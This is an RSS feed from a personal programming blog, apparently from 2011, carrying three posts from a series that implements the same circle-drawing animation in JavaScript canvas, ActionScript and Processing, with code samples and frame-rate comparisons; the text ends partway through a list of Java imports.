<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Bernie Sumption :: Software</title>
	<atom:link href="http://berniesumption.com/software/feed/" rel="self" type="application/rss+xml" />
	<link>http://berniesumption.com/software</link>
	<description>Programming and Software Design</description>
	<lastBuildDate>Wed, 23 Nov 2011 04:32:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Graphics Programming Environment Shootout Episode 3: JavaScript &amp; Canvas</title>
		<link>http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/</link>
		<comments>http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/#comments</comments>
		<pubDate>Thu, 27 Oct 2011 22:49:18 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://berniesumption.com/software/?p=489</guid>
		<description><![CDATA[This article is the third in a series in which I implement the same app in several different graphical programming environments. Today&#8217;s contender: JavaScript &#038; canvas. Canvas is one of the new APIs introduced in the flurry of specifying activity &#8230; <a href="http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This article is the third in a <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments/">series</a> in which I implement the same app in several different graphical programming environments. Today&#8217;s contender: JavaScript &#038; canvas.</p>
<p>Canvas is one of the new APIs introduced in the flurry of specifying activity by the W3C that got bundled together under the HTML5 monicker. A canvas is a rectangular area of the HTML page that contains a raster image which can be manipulated using JavaScript. Unlike the other graphical environments covered so far, canvas is a specification that is implemented by multiple browsers, each of which has its own performance characteristics.</p>
<h3>&#8220;imagine&#8221; in JavaScript &amp; canvas</h3>
<p>You can view the implementation of <a href="http://berniesumption.com/external/imagine/canvas/" target="_blank">&#8220;imagine&#8221; in JavaScript &#038; canvas</a>. All the code is in the HTML page, use your browser&#8217;s &#8220;View Source&#8221; to take a peek.</p>
<p class="download-link"><a href="http://hg.berniecode.com/imagine/get/tip.zip"><span class="download-arrow">Download the sources and compiled applications for all episodes</span></a></p>
<p><em>Performance:</em> On my Intel Core i7 MacBook, the frame rates with 8000 sparks on screen were 4.3 fps in Firefox 7, 6.2 fps in Chrome 15 and 6.0 fps in Safari 5.1. These figures are pretty terrible compared to the other environments I&#8217;ve covered so far, but there is a good explanation: canvas anti-aliases all lines, which precludes a performance optimisation that was possible in both Flash and Processing.</p>
<p>Anti-aliasing is a useful technique for producing smooth edges on vector graphics. This image is magnified 600% to make the individual pixels clearer:</p>
<div id="attachment_491" class="wp-caption alignnone" style="width: 610px"><img src="http://berniesumption.com/software/files/2011/10/anti-aliasing-on-circles.png" alt="" title="" width="600" height="120" class="size-full wp-image-491" /><p class="wp-caption-text">Anti-aliasing make shapes appear smooth on a limited resolution display</p></div>
<p>Anti-aliasing is computationally expensive however. The Processing and Flash versions of <em>imagine</em> turn off antialiasing and replace it with an alternative technique &#8211; as long as the rendered shape is moving at a roughly constant rate, simply making the shape semi-transparent will produce a smoothing effect:</p>
<div id="attachment_493" class="wp-caption alignnone" style="width: 610px"><img src="http://berniesumption.com/software/files/2011/10/anti-aliasing-on-circles-2.png" alt="" title="" width="600" height="300" class="size-full wp-image-493" /><p class="wp-caption-text">Poor man&#039;s anti-aliasing works just as well as the real thing in certain circumstances</p></div>
<p>So this performance comparison is not exactly fair. I made another version of the canvas app that <a href="http://berniesumption.com/external/imagine/canvas/square-version.html" target="_blank">uses squares instead of circles</a>. Squares are considerably faster to draw, and the performance for this version is in line with the Flash and Processing versions.</p>
<h3>Programming with JavaScript &amp; canvas</h3>
<p>In the last two episodes I&#8217;ve provided a port of the simplest animated graphical app I could conceive of. You can check out the Processing version (<a href="http://berniesumption.com/external/imagine/processing-demo/" target="_blank">app</a>, <a href="http://berniesumption.com/external/imagine/processing-demo/bubbles.pde" target="_blank">source</a>) and the ActionScript version (<a href="http://berniesumption.com/external/imagine/actionscript-demo/bubbles/" target="_blank">app</a>, <a href="http://berniesumption.com/external/imagine/actionscript-demo/bubbles/srcview/" target="_blank">source</a>). I noted that the ActionScript version was around twice as long because of the overhead of setting up a raster drawing environment in a general purpose drawing framework.</p>
<p>Well the JavaScript version is almost as long as the Flash version, but not for exactly the same reason:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">window.<span style="color: #0066CC;">onload</span> = <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> canvas = document.<span style="color: #0066CC;">createElement</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;canvas&quot;</span><span style="color: #66cc66;">&#41;</span>;
  document.<span style="color: #006600;">body</span>.<span style="color: #0066CC;">appendChild</span><span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span>;
  canvas.<span style="color: #0066CC;">width</span> = <span style="color: #cc66cc;">400</span>;
  canvas.<span style="color: #0066CC;">height</span> = <span style="color: #cc66cc;">400</span>;
  <span style="color: #000000; font-weight: bold;">var</span> ctx = canvas <span style="color: #66cc66;">&amp;&amp;</span> canvas.<span style="color: #006600;">getContext</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;2d&quot;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
  <span style="color: #000000; font-weight: bold;">var</span> bg = <span style="color: #ff0000;">&quot;#FF0088&quot;</span>;
  document.<span style="color: #006600;">body</span>.<span style="color: #006600;">onclick</span> = reset;
  reset<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #0066CC;">setInterval</span><span style="color: #66cc66;">&#40;</span>draw, <span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
  <span style="color: #000000; font-weight: bold;">function</span> draw<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">var</span> radius = <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">5</span>, <span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span>;
    ctx.<span style="color: #006600;">beginPath</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    ctx.<span style="color: #006600;">arc</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>-<span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>-<span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #66cc66;">&#41;</span>,
        radius, <span style="color: #cc66cc;">0</span>, <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">PI</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>, <span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
    ctx.<span style="color: #006600;">closePath</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;
    ctx.<span style="color: #006600;">strokeStyle</span> = <span style="color: #ff0000;">&quot;#000&quot;</span>;
    ctx.<span style="color: #006600;">lineWidth</span> = <span style="color: #cc66cc;">1</span>;
    ctx.<span style="color: #006600;">fillStyle</span> = <span style="color: #ff0000;">&quot;#FFF&quot;</span>;
    ctx.<span style="color: #006600;">fill</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
    ctx.<span style="color: #006600;">stroke</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">function</span> reset<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
    ctx.<span style="color: #006600;">fillStyle</span> = bg;
    ctx.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, canvas.<span style="color: #0066CC;">width</span>, canvas.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>from, to<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
    <span style="color: #b1b100;">return</span> from + <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #66cc66;">&#40;</span>to - from<span style="color: #66cc66;">&#41;</span>;
  <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Check out the the <a href="http://berniesumption.com/external/imagine/canvas-demo/" target="_blank">running application here</a>.</p>
<p>Two things make this sample longer than the Processing version.</p>
<p>Firstly, like Flash&#8217;s raster drawing functionality, canvas is just a small part of the total functionality offered by HTML environment. A few lines are therefore dedicated to setting up the environment for animated raster drawing. This makes it harder for a beginner to get started with canvas, though finding code samples for canvas on the net is easier than for the Flash equivalent.</p>
<p>Secondly, the actual drawing code inside <code>draw()</code> is longer. Common drawing operations are split into calls to geometry methods like <code>arc()</code> which describe a path, and painting methods like <code>stroke()</code> that render the most recently described path. I&#8217;m sure the guys at Apple had their reasons for designing the API the way they did, but for basic operations it means that you have more lines of code for the same effect.</p>
<p>If you&#8217;re intending to write a lot of drawing code, you&#8217;d be well advised to factor out the verbose canvas API into some simple drawing methods. This code for example, will replace 8 lines of drawing code with a one line method call:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> drawFilledCircle<span style="color: #66cc66;">&#40;</span>x, y, radius, strokeColor, fillColor<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
  ctx.<span style="color: #006600;">beginPath</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  ctx.<span style="color: #006600;">arc</span><span style="color: #66cc66;">&#40;</span>x, y, radius, <span style="color: #cc66cc;">0</span>, <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">PI</span> <span style="color: #66cc66;">*</span> <span style="color: #cc66cc;">2</span>, <span style="color: #000000; font-weight: bold;">false</span><span style="color: #66cc66;">&#41;</span>;
  ctx.<span style="color: #006600;">closePath</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  ctx.<span style="color: #006600;">strokeStyle</span> = strokeColor;
  ctx.<span style="color: #006600;">lineWidth</span> = <span style="color: #cc66cc;">1</span>;
  ctx.<span style="color: #006600;">fillStyle</span> = fillColor;
  ctx.<span style="color: #006600;">fill</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
  ctx.<span style="color: #006600;">stroke</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>This is something that the JavaScript community is quite good at, since JavaScript has a history of clunky APIs that need wrapping to make usable. The W3C DOM wrapped in jQuery springs to mind.</p>
<h3>Conclusion</h3>
<p>Despite having a limitation that made it slow for <em>imagine</em>, canvas is a flexible and capable raster drawing API, but one that really needs to be wrapped in a library for maximum usability.</p>
<p>Next up: Google NaCl (coming soon)</p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphics Programming Environment Shootout Episode 2: ActionScript</title>
		<link>http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/</link>
		<comments>http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/#comments</comments>
		<pubDate>Wed, 26 Oct 2011 22:42:26 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://berniesumption.com/software/?p=467</guid>
		<description><![CDATA[This article is the second in a series in which I implement the same app in several different graphical programming environments. Coming up this round: ActionScript. ActionScript is the scripting language that comes with Flash. As such, it&#8217;s attached to &#8230; <a href="http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This article is the second in a <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments/">series</a> in which I implement the same app in several different graphical programming environments. Coming up this round: ActionScript.</p>
<p>ActionScript is the scripting language that comes with Flash. As such, it&#8217;s attached to one of the most popular environments for high-performance 2D graphics rendering in existence. Flash is much more feature-rich than Processing, and I was expecting that its general purpose nature would cost it in terms of performance. I was wrong.</p>
<h3>&#8220;imagine&#8221; in ActionScript</h3>
<p>You can view the implementation of <a href="http://berniesumption.com/external/imagine/actionscript/" target="_blank">&#8220;imagine&#8221; in ActionScript</a>, or check out <a href="http://berniesumption.com/external/imagine/actionscript/srcview/index.html" target="_blank">the source code</a>.</p>
<p class="download-link"><a href="http://hg.berniecode.com/imagine/get/tip.zip"><span class="download-arrow">Download the sources and compiled applications for all episodes</span></a></p>
<p><em>Performance:</em> On my Intel Core i7 MacBook, this app runs at 13.3 frames per second with 8000 sparks on screen &#8211; about 25% faster than the Processing version. Of course this doesn&#8217;t mean that Flash is generally faster than Processing, only that Flash is faster at drawing circles on an Intel Mac. However the result is surprising to me, because of the nature of Flash.</p>
<h3>The Flash environment</h3>
<p>Whereas Processing provides a raster canvas for your code to draw on, Flash provides a <em>scene graph</em>. This means that you add objects to the stage, and these objects can contain child objects, which themselves have children, forming a tree structure. Moving or rotating an object will also move and rotate its children. In processing when you draw one object on top of another one, the original object is gone forever. In Flash when you add one object on top of another, the new object can be removed to reveal the original object again. Scene graphs are intrinsically more memory and processor intensive than raster canvases.</p>
<p>Flash&#8217;s scene graph is extremely useful for animating, because it reflects the way that objects in the real world are made up of component parts. Say you want to animate a moving car with spinning wheels. The wheels must be separate objects to the car, because you want them to rotate independently of the car. But when you move the car you expect the wheels to move with the car. Scene graphs make it easier to construct realistic and nuanced interactive animations like this one:</p>

    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_0" width="640" height="300">
      <param name="movie" value="http://berniesumption.com/software/files/2011/10/car-actionscript-demo.swf" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="http://berniesumption.com/software/files/2011/10/car-actionscript-demo.swf" width="640" height="300">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>

<p>However, this ability comes at a cost. In a flash app, you can&#8217;t draw pixels directly to the display, you must set up an object in the scene graph to handle bitmap drawing. In the <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/">last episode</a> I gave a 20 line code sample for making a very simple Processing app. You can view the <a href="http://berniesumption.com/external/imagine/processing-demo/" target="_blank">app and source code here</a>. The equivalent in ActionScript is twice as long:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript" style="font-family:monospace;">package
<span style="color: #66cc66;">&#123;</span>
  <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.<span style="color: #66cc66;">*</span>;
  <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.<span style="color: #66cc66;">*</span>;
  <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.<span style="color: #66cc66;">*</span>;
&nbsp;
  <span style="color: #66cc66;">&#91;</span>SWF<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">width</span>=<span style="color: #ff0000;">&quot;400&quot;</span>, <span style="color: #0066CC;">height</span>=<span style="color: #ff0000;">&quot;400&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#93;</span>
&nbsp;
  <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Main <span style="color: #0066CC;">extends</span> Sprite  
  <span style="color: #66cc66;">&#123;</span>
    <span style="color: #0066CC;">private</span> const bg:uint = 0xFFFF0088;
&nbsp;
    <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> buffer:BitmapData;
    <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> canvas:Shape;
&nbsp;
    <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
    <span style="color: #66cc66;">&#123;</span>
      canvas = <span style="color: #000000; font-weight: bold;">new</span> Shape<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
      buffer = <span style="color: #000000; font-weight: bold;">new</span> BitmapData<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,
                      <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span>, <span style="color: #000000; font-weight: bold;">false</span>, bg<span style="color: #66cc66;">&#41;</span>;
      addChild<span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Bitmap<span style="color: #66cc66;">&#40;</span>buffer<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
      <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">ENTER_FRAME</span>, draw<span style="color: #66cc66;">&#41;</span>;
      <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, reset<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;
    <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> draw<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
      canvas.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">clear</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
      canvas.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">lineStyle</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">1</span>, <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
      canvas.<span style="color: #006600;">graphics</span>.<span style="color: #0066CC;">beginFill</span><span style="color: #66cc66;">&#40;</span>0xFFFFFF<span style="color: #66cc66;">&#41;</span>;
      canvas.<span style="color: #006600;">graphics</span>.<span style="color: #006600;">drawCircle</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>-<span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #66cc66;">&#41;</span>,
                      <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>-<span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #66cc66;">&#41;</span>, <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10</span>, <span style="color: #cc66cc;">100</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
      buffer.<span style="color: #006600;">draw</span><span style="color: #66cc66;">&#40;</span>canvas<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;
    <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> reset<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span>
      buffer.<span style="color: #006600;">fillRect</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> Rectangle<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>,
                      <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>, bg<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
&nbsp;
    <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span>from:<span style="color: #0066CC;">Number</span>, to:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Number</span> <span style="color: #66cc66;">&#123;</span>
      <span style="color: #b1b100;">return</span> from + <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">random</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #66cc66;">&#40;</span>to - from<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
  <span style="color: #66cc66;">&#125;</span>
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p>Check out the the <a href="http://berniesumption.com/external/imagine/actionscript-demo/bubbles/">running application here</a>.</p>
<p>Not only is this source code long, but it has some gotchas that didn&#8217;t exist in the processing version. The &#8220;<code>stage.</code>&#8221; in &#8220;<code>stage.addEventListener(MouseEvent.CLICK, reset);</code>&#8221; on line 23 is an unusual pattern that is required in this case because Bitmap objects (unlike most other display objects) don&#8217;t respond to MouseEvents. If you omit the step of clearing the graphics canvas at the start of <code>draw()</code> then the animation will appear to work as normal, but will slow down over time as the canvas fills up with vector data that takes longer and longer to render. Good luck figuring those things out if you&#8217;re on your first ActionScript project.</p>
<p>This is the price of flexibility. Flash&#8217;s object-oriented scene graph approach makes it suitable for building complex interactive programs like inamo and UI frameworks like Flex, but for the kind of light graphical experiment that Processing excels at, ActionScript feels clunky.</p>
<p>The good news is that apparently performance doesn&#8217;t suffer as a result. Even with the overhead of interpreting the scene graph, the Flash port of imagine is faster than the Processing version, presumably because Flash&#8217;s rendering engine is more heavily optimised than the Java2D implementation on a mac.</p>
<h3>Conclusion</h3>
<p>Flash is a very flexible graphical environment, but getting it to do exactly what you want takes some expertise.</p>
<p>Next up: <a href="http://berniesumption.com/software/2011/10/27/graphics-programming-environments-3-javascript-canvas/">JavaScript &amp; Canvas</a></p>
]]></content:encoded>
			<wfw:commentRss>http://berniesumption.com/software/2011/10/26/graphics-programming-environments-2-actionscript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graphics Programming Environment Shootout Episode 1: Processing</title>
		<link>http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/</link>
		<comments>http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 09:14:55 +0000</pubDate>
		<dc:creator>bernie</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://berniesumption.com/software/?p=424</guid>
		<description><![CDATA[This is the first in a series about graphical programming in which I implement the same app in several different graphical programming environments. In this episode, Processing. Processing, hosted at processing.org is a language, library and IDE for creating interactive &#8230; <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments-1-processing/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This is the first in a <a href="http://berniesumption.com/software/2011/10/24/graphics-programming-environments/">series</a> about graphical programming in which I implement the same app in several different graphical programming environments. In this episode, Processing.</p>
<p>Processing, hosted at <a href="http://processing.org">processing.org</a> is a language, library and IDE for creating interactive graphics. It is targeted at artists and designers with any level of programming skill.</p>
<h3>&#8220;imagine&#8221; in processing</h3>
<p>First things first, here is the implementation of &#8220;imagine&#8221; in Processing. You can <a href="http://berniesumption.com/external/imagine/processing/" target="_blank">view it online</a> with terrible performance because it&#8217;s a sandboxed Java applet, or</p>
<p class="download-link"><a href="http://hg.berniecode.com/imagine/get/tip.zip"><span class="download-arrow">Download the sources and compiled applications for all episodes</span></a></p>
<p><em>Performance:</em> On my Intel Core i7 MacBook, this sketch runs at 10.5 frames per second with 8000 sparks on screen. This figure doesn&#8217;t mean much on its own, but will provide a baseline for comparing the performance of the other environments covered in this series.</p>
<h3>The Processing language</h3>
<p>Throughout the documentation, Processing is referred to as a language. My first thought after using Processing was &#8220;If I made this and claimed to have designed a language, anyone who&#8217;d actually designed a real language would laugh at me&#8221;. It&#8217;s Java. It&#8217;s not <em>like</em> Java, it <em>is</em> Java, or rather a very thin superset of Java.</p>
<p>When you run a Processing script (or &#8220;sketch&#8221; to use their terminology), the Processing compiler takes your source code and wraps it in a header and footer that cause it to become a valid Java program. OK, so it also has a couple of bits of syntactic sugar like allowing HTML-style RGB colour literals in code &#8211; <code>color c = #123456</code> compiles into <code>int c = 0xFF123456</code>. But technologically, it&#8217;s Java through and through. Here&#8217;s a trivial sample sketch to demonstrate:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// &quot;bubbles.pde&quot; - processing sketch</span>
color bg <span style="color: #339933;">=</span> #FF0088<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> setup<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  size<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">400</span>, <span style="color: #cc66cc;">400</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  smooth<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  background<span style="color: #009900;">&#40;</span>bg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> draw<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000066; font-weight: bold;">float</span> size <span style="color: #339933;">=</span> random<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">10</span>, <span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  ellipse<span style="color: #009900;">&#40;</span>random<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #009900;">&#41;</span>, random<span style="color: #009900;">&#40;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">100</span>, <span style="color: #cc66cc;">500</span><span style="color: #009900;">&#41;</span>, size, size<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000066; font-weight: bold;">void</span> mousePressed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  background<span style="color: #009900;">&#40;</span>bg<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>If you peek at the compiled java, you can see the original source code wrapped in the Processing header and footer:</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// &quot;bubbles.java&quot; - compiled java file</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">processing.core.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">processing.xml.*</span><span style="color: #339933;">;</span> 
&nbsp;
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.applet.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.Dimension</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.Frame</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.event.MouseEvent</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.event.KeyEvent</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.event.FocusEvent</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.awt.Image</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.io.*</span><span style="color: #339933;">;</span> 
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.net.*</span><span style="color: #339933;">;</span> 
